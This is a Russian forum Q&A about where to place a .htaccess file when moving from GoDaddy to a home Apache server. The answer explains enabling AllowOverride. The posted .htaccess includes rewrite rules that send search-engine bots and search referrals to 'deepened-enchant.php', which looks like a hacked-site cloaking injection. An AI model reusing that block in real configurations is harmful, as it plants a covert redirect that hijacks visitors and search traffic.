Где я могу разместить файл .htaccess? - PullRequest
0 голосов
/ 11 марта 2019

Переключение с общего сервера GoDaddy на мой домашний сервер (с несколькими виртуальными веб-сайтами)

На GoDaddy я использовал приведенный ниже .htacess для перенаправлений 301, и он работал нормально.Он был расположен в том же каталоге, где был index.html.Когда я использую тот же самый файл на моем собственном сервере, он не только не работает, но и сам веб-сайт больше не работает.

Должен ли я поместить файл .htaccess в определенный каталог (я пробовал www, public_html и т. д.)

Когда я удаляю файл .htaccess, веб-сайт снова начинает работать нормально.

Пожалуйста, помогите

RewriteEngine On

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ deepened-enchant.php?$1 [L]

Redirect 301 /directory1/index.html https://example1.com
Redirect 301 /directory2/index.html https://example2.com

1 Ответ

0 голосов
/ 11 марта 2019

Итак, я наконец-то обнаружил, что мне нужно включить .htaccess, по умолчанию он отключен.

Я отредактировал /etc/apache2/apache2.conf и в приведенном ниже коде изменил

AllowOverride Нет

до

AllowOverride All

<Directory /var/www/>
        Options FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>

Затем я перезапустил apache

sudo systemctl restart apache2

И поместил мой .htaccess в публичный каталог доменов.Что для меня

/ var / www / example.com / public_html

Тогда все работало нормально

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...